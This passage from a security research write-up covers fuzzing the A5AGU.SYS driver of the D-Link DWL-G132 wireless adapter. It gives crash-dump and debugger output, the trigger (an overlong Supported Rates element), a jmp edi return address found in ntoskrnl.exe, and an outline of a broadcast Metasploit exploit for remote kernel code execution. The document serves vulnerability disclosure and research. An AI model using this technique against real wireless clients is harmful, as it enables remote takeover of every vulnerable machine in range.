|Informative Information for the Uninformed|
Soon after the Broadcom exploit was completed, the authors decided to write a suite of fuzzing modules that could discover similar issues in other wireless drivers. The first casualty of this process was the A5AGU.SYS driver provided with the D-Link's DWL-G132 USB wireless adapter. The authors configured the test machine (Windows XP SP2) so that a complete snapshot of kernel memory was included in the system crash dumps. This ensures that when a crash occurs, enough useful information is there to debug the problem. Next, the latest driver for the target device (v188.8.131.52) was installed. Finally, the beacon fuzzing module was started and the card was inserted into the USB port of the test system. Five seconds later, a beautiful blue screen appeared while the crash dump was written to disk.
DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1) An attempt was made to access a pageable (or completely invalid) address at an interrupt request level (IRQL) that is too high. This is usually caused by drivers using improper addresses. If kernel debugger is available get stack backtrace. Arguments: Arg1: 56149a1b, memory referenced Arg2: 00000002, IRQL Arg3: 00000000, value 0 = read operation, 1 = write operation Arg4: 56149a1b, address which referenced memory ErrCode = 00000000 eax=00000000 ebx=82103ce0 ecx=00000002 edx=82864dd0 esi=f24105dc edi=8263b7a6 eip=56149a1b esp=80550658 ebp=82015000 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 56149a1b ?? ??? Resetting default scope LAST_CONTROL_TRANSFER: from 56149a1b to 804e2158 FAILED_INSTRUCTION_ADDRESS: +56149a1b 56149a1b ?? ??? STACK_TEXT: 805505e4 56149a1b badb0d00 82864dd0 00000000 nt!KiTrap0E+0x233 80550654 82015000 82103ce0 81f15e10 8263b79c 0x56149a1b 80550664 f2408d54 81f15e10 82103c00 82015000 0x82015000 80550694 f24019cc 82015000 82103ce0 82015000 A5AGU+0x28d54 805506b8 f2413540 824ff008 0000000b 82015000 A5AGU+0x219cc 805506d8 f2414fae 824ff008 0000000b 0000000c A5AGU+0x33540 805506f4 f24146ae f241d328 8263b760 81f75000 A5AGU+0x34fae 80550704 f2417197 824ff008 00000001 8263b760 A5AGU+0x346ae 80550728 804e42cc 00000000 821f0008 00000000 A5AGU+0x37197 80550758 f74acee5 821f0008 822650a8 829fb028 nt!IopfCompleteRequest+0xa2 805507c0 f74adb57 8295a258 00000000 829fb7d8 USBPORT!USBPORT_CompleteTransfer+0x373 805507f0 f74ae754 026e6f44 829fb0e0 829fb0e0 USBPORT!USBPORT_DoneTransfer+0x137 80550828 f74aff6a 829fb028 804e3579 829fb230 USBPORT!USBPORT_FlushDoneTransferList+0x16c 80550854 f74bdfb0 829fb028 804e3579 829fb028 USBPORT!USBPORT_DpcWorker+0x224 80550890 f74be128 829fb028 00000001 80559580 USBPORT!USBPORT_IsrDpcWorker+0x37e 805508ac 804dc179 829fb64c 6b755044 00000000 USBPORT!USBPORT_IsrDpc+0x166 805508d0 804dc0ed 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46 805508d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26
Five seconds of fuzzing had produced a flaw that made it possible to gain control of the instruction pointer. In order to execute arbitrary code, however, a contextual reference to the malicious frame had to be located. In this case, the edi register pointed into the source address field of the frame in just the same way that it did in the Broadcom vulnerability. The bogus eip value can be found just past the source address where one would expect it - inside one of the randomly generated information elements.
kd> dd 0x8263b7a6 (edi) 8263b7a6 f3793ee8 3ee8a34e a34ef379 6eb215f0 8263b7b6 fde19019 006431d8 9b001740 63594364 kd> s 0x8263b7a6 Lffff 0x1b 0x9a 0x14 0x56 8263bd2b 1b 9a 14 56 2a 85 56 63-00 55 0c 0f 63 6e 17 51 ...V*.Vc.U..cn.Q
The next step was to determine what information element was causing the crash. After decoding the in-memory version of the frame, a series of modifications and retransmissions were made until the specific information element leading to the crash was found. Through this method it was determined that a long Supported Rates information element triggers the stack overflow shown in the crash above.
Exploiting this flaw involved finding a return address in memory that pointed to a jmp edi, call edi, or push edi; ret instruction sequence. This was accomplished by running the msfpescan application included with the Metasploit Framework against the ntoskrnl.exe of our target. The resulting addresses had to be adjusted to account for the kernel's base address. The address that was chosen for this version of ntoskrnl.exe was 0x804f16eb ( 0x800d7000 + 0x0041a6eb ).
$ msfpescan ntoskrnl.exe -j edi [ntoskrnl.exe] 0x0040365d push edi; retn 0x0001 0x00405aab call edi 0x00409d56 push edi; ret 0x0041a6eb jmp edi
Finally, the magic frame was reworked into an exploit module for the 3.0 version of the Metasploit Framework. When the exploit is launched, a stack overflow occurs, the return address is overwritten with the location of a jmp edi, which in turn lands on the source address of the frame. The source address was modified to be a valid x86 relative jump, which directs execution into the body of the first information element. The maximum MTU of 802.11b is over 2300 bytes, allowing for payloads of up to 1000 bytes without running into reliability issues. Since this exploit is sent to the broadcast address, all vulnerable clients within range of the attacker are exploited with a single frame.